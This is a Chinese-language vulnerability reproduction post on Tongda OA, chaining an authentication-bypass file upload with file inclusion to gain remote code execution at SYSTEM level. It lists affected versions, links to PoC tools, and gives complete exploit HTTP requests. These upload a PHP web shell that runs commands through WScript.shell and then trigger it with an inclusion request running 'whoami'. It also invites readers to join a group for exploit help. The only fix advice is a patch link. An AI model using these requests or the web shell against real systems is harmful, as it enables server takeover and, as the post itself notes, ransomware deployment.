通達OA 任意文件上傳+文件包含導致RCE漏洞復現
0X00漏洞簡介
通達OA(Office Anywhere網絡智能辦公系統)是由北京通達信科科技有限公司自主研發的協同辦公自動化系統,包括流程審批、行政辦公、日常事務、數據統計分析、即時通訊、移動辦公等。
該漏洞被黑產利用,用於投放勒索病毒
該漏洞在繞過身份驗證的情況下通過文件上傳漏洞上傳惡意php文件,組合文件包含漏洞最終造成遠程代碼執行漏洞,從而導致可以控制服務器system權限。
0X01漏洞影響
V11版、2017版、2016版、2015版、2013增強版、2013版
0X02漏洞原理
被授權的遠程攻擊者通過文件上傳配合文件包含,觸發遠程惡意代碼執行。系統中auth.php是登陸驗證的相關邏輯,upload.php中$P參數如果非空就不需要經過auth.php驗證即可執行后續代碼。利用此處邏輯漏洞可繞過登陸驗證直接上傳文件。攻擊者可通過精心構造json進入47行的includ_once進行文件包含
0X03漏洞環境搭建
我用的環境是通達V11下載地址為
鏈接:https://pan.baidu.com/s/1nm-kBi4zOwXDZFtjmf7n2Q
提取碼:z863
如果需要看源碼的使用解密工具解密查看即可解密工具下載地址為
鏈接:https://pan.baidu.com/s/1-Bzki6lLOflFIlhIY2gNzg
提取碼:akiz
下載好源碼后解壓縮直接運行EXE文件安裝,訪問localhost即可。

0X04漏洞復現
有些版本gateway.php路徑不同
如2013:
/ ispirit/ im/ upload. php
/ ispirit/ interface/ gateway . php
2017:
/ispirit/ im/ upload. php
/ mac/ gateway. Php
本文使用的v11版本路徑為
/ispirit/im/upload.php
/ispirit/interface/gateway.php
訪問任意文件上傳漏洞路徑/ispirit/im/upload.php

使用burp抓包發送小馬數據包可以看到成功上傳

訪問本地文件包含漏洞 /ispirit/interface/gateway.php

使用burp抓包發送構造文件包含數據包並執行命令

0X05poc工具
https://github.com/M4tir/tongda-oa-tools
https://github.com/fuhei/tongda_rce
0X06exp代碼
文件上傳
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.1.106
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
文件包含
POST /mac/gateway.php HTTP/1.1
Host: 10.10.20.116:88
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2003/941633647.jpg"}&cmd=whoami
exp代碼有問題可以加群向群主反饋,復現遇到的問題也可以一起研究。
代碼分析部分請加群獲取
0X07修復建議
更新官方補丁
http://www.tongda2000.com/news/673.php
